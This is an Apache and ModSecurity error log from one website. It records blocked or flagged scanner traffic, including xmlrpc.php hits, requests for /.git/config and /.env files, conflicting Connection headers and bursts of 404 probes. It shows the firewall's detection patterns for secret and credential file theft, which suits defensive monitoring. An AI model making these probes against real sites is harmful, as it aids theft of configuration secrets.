[Sun May 10 19:22:38.345501 2026] [:error] [pid 37030:tid 37037] [client 103.48.145.139:7372] [client 103.48.145.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.145.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBqfprBzfXWwKkDkdaI8AAAAMU"]
[Sun May 10 19:22:59.961920 2026] [:error] [pid 37030:tid 37053] [client 103.48.145.139:7934] [client 103.48.145.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.145.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBqk5rBzfXWwKkDkdaJFAAAANU"]
[Sun May 10 19:23:11.079897 2026] [:error] [pid 16038:tid 16091] [client 103.48.145.139:7986] [client 103.48.145.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.145.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBqn04hf5Tcsfa2scJO6gAAAZc"]
[Sun May 10 20:56:04.368917 2026] [:error] [pid 37030:tid 37032] [client 43.153.71.132:52638] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agCAZJrBzfXWwKkDkdakswAAAMA"]
[Sun May 10 21:38:02.778574 2026] [autoindex:error] [pid 37030:tid 37042] [client 20.5.8.136:61669] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 10 22:12:05.749666 2026] [:error] [pid 37030:tid 37048] [client 49.51.243.156:52982] [client 49.51.243.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agCSNZrBzfXWwKkDkda1YwAAANA"]
[Mon May 11 01:56:36.511684 2026] [:error] [pid 16037:tid 16048] [client 34.88.209.148:48804] [client 34.88.209.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agDG1HzjLQfyYTkAdSSjagAAAAc"]
[Mon May 11 03:16:22.127165 2026] [:error] [pid 16037:tid 16062] [client 158.173.67.67:26935] [client 158.173.67.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agDZhnzjLQfyYTkAdSSwoAAAABU"]
[Mon May 11 03:16:22.640833 2026] [:error] [pid 54857:tid 54866] [client 158.173.67.220:57247] [client 158.173.67.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agDZhsIMxCDAKjKxP7D-7AAAAUI"]
[Mon May 11 03:16:23.157208 2026] [:error] [pid 54857:tid 54869] [client 158.173.67.63:46137] [client 158.173.67.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agDZh8IMxCDAKjKxP7D--QAAAUU"]
[Mon May 11 03:16:23.670511 2026] [:error] [pid 54857:tid 54866] [client 158.173.67.75:53641] [client 158.173.67.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agDZh8IMxCDAKjKxP7D_CQAAAUI"]
[Mon May 11 03:16:24.180500 2026] [:error] [pid 16136:tid 16160] [client 158.173.67.92:32431] [client 158.173.67.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agDZiEOBGdmCMnPX0Mcq-AAAAJY"]
[Mon May 11 03:45:11.228286 2026] [:error] [pid 34350:tid 34364] [client 43.134.186.61:45594] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agDgR2yli-6ZFXp8nVKUEwAAAAg"]
[Mon May 11 05:17:18.542168 2026] [:error] [pid 65261:tid 65326] [client 43.166.7.113:39982] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agD13pu_9uQJeFrcOsswtQAAAIM"]
[Mon May 11 07:41:19.088938 2026] [:error] [pid 65366:tid 65382] [client 94.181.229.245:33176] [client 94.181.229.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "agEXn6hVGdYzapDtv-H-ZAAAAM0"], referer: https://www.google.com/search?q=site:example.com
[Mon May 11 07:41:19.091586 2026] [:error] [pid 65366:tid 65392] [client 94.181.229.245:33152] [client 94.181.229.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agEXn6hVGdYzapDtv-H-ZQAAANc"], referer: https://www.google.com/
[Mon May 11 07:41:19.107469 2026] [:error] [pid 65366:tid 65379] [client 94.181.229.245:33162] [client 94.181.229.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agEXn6hVGdYzapDtv-H-ZgAAAMo"]
[Mon May 11 08:52:45.491569 2026] [:error] [pid 35052:tid 35062] [client 34.40.80.175:53148] [client 34.40.80.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "agEoXeHjpNNnFJrMXu2fXwAAAUc"]
[Mon May 11 08:52:46.846411 2026] [:error] [pid 65366:tid 65392] [client 34.40.80.175:59954] [client 34.40.80.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "agEoXqhVGdYzapDtv-EH4gAAANc"]
[Mon May 11 10:06:46.837168 2026] [:error] [pid 35052:tid 35079] [client 57.151.128.80:57690] [client 57.151.128.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.151.128.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/wp/xmlrpc.php"] [unique_id "agE5tuHjpNNnFJrMXu2y9AAAAVg"]
[Mon May 11 10:57:09.967544 2026] [:error] [pid 65261:tid 65329] [client 43.166.132.142:46340] [client 43.166.132.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agFFhZu_9uQJeFrcOstY3AAAAIY"]
[Mon May 11 11:34:28.940012 2026] [:error] [pid 65366:tid 65372] [client 45.4.108.67:51092] [client 45.4.108.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.4.108.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agFORKhVGdYzapDtv-EfFgAAAMQ"]
[Mon May 11 11:34:39.106883 2026] [:error] [pid 9335:tid 9342] [client 45.4.108.67:51414] [client 45.4.108.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.4.108.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agFOT3mXqumINT8bKRFbKAAAAQU"]
[Mon May 11 11:34:49.534113 2026] [:error] [pid 65259:tid 65275] [client 45.4.108.67:51384] [client 45.4.108.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.4.108.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agFOWQPsXLnMa32ma5BuXAAAAAc"]
[Mon May 11 11:35:00.096601 2026] [:error] [pid 35052:tid 35056] [client 45.4.108.67:51008] [client 45.4.108.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.4.108.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agFOZOHjpNNnFJrMXu3LRAAAAUE"]
[Mon May 11 11:35:10.596626 2026] [:error] [pid 9335:tid 9355] [client 45.4.108.67:51020] [client 45.4.108.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.4.108.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agFObnmXqumINT8bKRFbWgAAARI"]
[Mon May 11 12:33:55.180873 2026] [:error] [pid 65366:tid 65382] [client 149.22.83.17:52586] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agFcM6hVGdYzapDtv-EoZQAAAM0"]
[Mon May 11 12:33:57.790412 2026] [:error] [pid 35052:tid 35078] [client 149.22.83.17:34600] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agFcNeHjpNNnFJrMXu3ZigAAAVc"]
[Mon May 11 12:34:00.406302 2026] [:error] [pid 35052:tid 35059] [client 149.22.83.17:33292] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agFcOOHjpNNnFJrMXu3ZlQAAAUQ"]
[Mon May 11 12:34:02.945686 2026] [:error] [pid 9335:tid 9340] [client 149.22.83.17:33308] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agFcOnmXqumINT8bKRFoSwAAAQM"]
[Mon May 11 12:34:05.314565 2026] [:error] [pid 65260:tid 65312] [client 149.22.83.17:33312] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agFcPTqbzwIHjP6Y_3GZsQAAAFA"]
[Mon May 11 12:34:07.524434 2026] [:error] [pid 65366:tid 65369] [client 149.22.83.17:33314] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agFcP6hVGdYzapDtv-EoawAAAME"]
[Mon May 11 12:34:09.631993 2026] [:error] [pid 65261:tid 65335] [client 149.22.83.17:33326] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agFcQZu_9uQJeFrcOstlOwAAAIw"]
[Mon May 11 12:34:11.961255 2026] [:error] [pid 65259:tid 65279] [client 149.22.83.17:33290] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agFcQwPsXLnMa32ma5BzBQAAAAs"]
[Mon May 11 12:34:14.250692 2026] [:error] [pid 35052:tid 35072] [client 149.22.83.17:33294] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agFcRuHjpNNnFJrMXu3ZqwAAAVE"]
[Mon May 11 12:34:20.610471 2026] [:error] [pid 65261:tid 65345] [client 149.22.83.17:41618] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agFcTJu_9uQJeFrcOstlQgAAAJY"]
[Mon May 11 12:34:22.944613 2026] [:error] [pid 9335:tid 9359] [client 149.22.83.17:41622] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agFcTnmXqumINT8bKRFoWgAAARY"]
[Mon May 11 12:34:25.157273 2026] [:error] [pid 9335:tid 9352] [client 149.22.83.17:41638] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agFcUXmXqumINT8bKRFoXAAAAQ8"]
[Mon May 11 12:34:27.386549 2026] [:error] [pid 9335:tid 9342] [client 149.22.83.17:41648] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agFcU3mXqumINT8bKRFoYQAAAQU"]
[Mon May 11 12:34:29.581474 2026] [:error] [pid 65260:tid 65303] [client 149.22.83.17:41656] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agFcVTqbzwIHjP6Y_3GZuAAAAEc"]
[Mon May 11 12:34:31.808802 2026] [:error] [pid 9335:tid 9346] [client 149.22.83.17:44630] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agFcV3mXqumINT8bKRFoawAAAQk"]
[Mon May 11 12:34:34.641020 2026] [:error] [pid 35052:tid 35065] [client 149.22.83.17:44642] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agFcWuHjpNNnFJrMXu3ZtgAAAUo"]
[Mon May 11 12:34:36.981684 2026] [:error] [pid 35052:tid 35069] [client 149.22.83.17:44648] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agFcXOHjpNNnFJrMXu3ZuAAAAU4"]
[Mon May 11 12:34:39.428060 2026] [:error] [pid 65261:tid 65323] [client 149.22.83.17:44660] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agFcX5u_9uQJeFrcOstlRwAAAIA"]
[Mon May 11 12:34:42.104780 2026] [:error] [pid 9335:tid 9346] [client 149.22.83.17:42836] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agFcYnmXqumINT8bKRFodQAAAQk"]
[Mon May 11 12:34:44.629950 2026] [:error] [pid 65366:tid 65380] [client 149.22.83.17:42848] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agFcZKhVGdYzapDtv-EodAAAAMs"]
[Mon May 11 12:34:47.026043 2026] [:error] [pid 35052:tid 35057] [client 149.22.83.17:42856] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agFcZ-HjpNNnFJrMXu3ZvAAAAUI"]
[Mon May 11 12:34:49.372107 2026] [:error] [pid 35052:tid 35063] [client 149.22.83.17:42858] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agFcaeHjpNNnFJrMXu3ZwgAAAUg"]
[Mon May 11 12:35:28.376029 2026] [:error] [pid 35052:tid 35059] [client 149.22.83.17:39716] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "agFckOHjpNNnFJrMXu3aAQAAAUQ"]
[Mon May 11 12:35:30.970964 2026] [:error] [pid 35052:tid 35057] [client 149.22.83.17:51006] [client 149.22.83.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "agFckuHjpNNnFJrMXu3aCAAAAUI"]
[Mon May 11 14:20:02.710633 2026] [:error] [pid 58750:tid 58754] [client 38.100.221.40:50828] [client 38.100.221.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.100.221.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF1EjBVaNG3wJtPBU-JMwAAAUI"]
[Mon May 11 14:20:14.677382 2026] [:error] [pid 58677:tid 58698] [client 38.100.221.40:15721] [client 38.100.221.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.100.221.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF1HhasRhyteIXf1RUu3AAAAIo"]
[Mon May 11 14:20:30.730386 2026] [:error] [pid 58616:tid 58666] [client 38.100.221.40:27506] [client 38.100.221.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.100.221.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF1LtnsbeF5ioCAecjMpQAAANQ"]
[Mon May 11 14:20:42.869370 2026] [:error] [pid 58615:tid 58623] [client 38.100.221.40:21787] [client 38.100.221.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.100.221.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF1OlK28yH055J8TSq7ngAAAAQ"]
[Mon May 11 14:20:55.171852 2026] [:error] [pid 58750:tid 58761] [client 38.100.221.40:44525] [client 38.100.221.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.100.221.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF1RzBVaNG3wJtPBU-JbgAAAUk"]
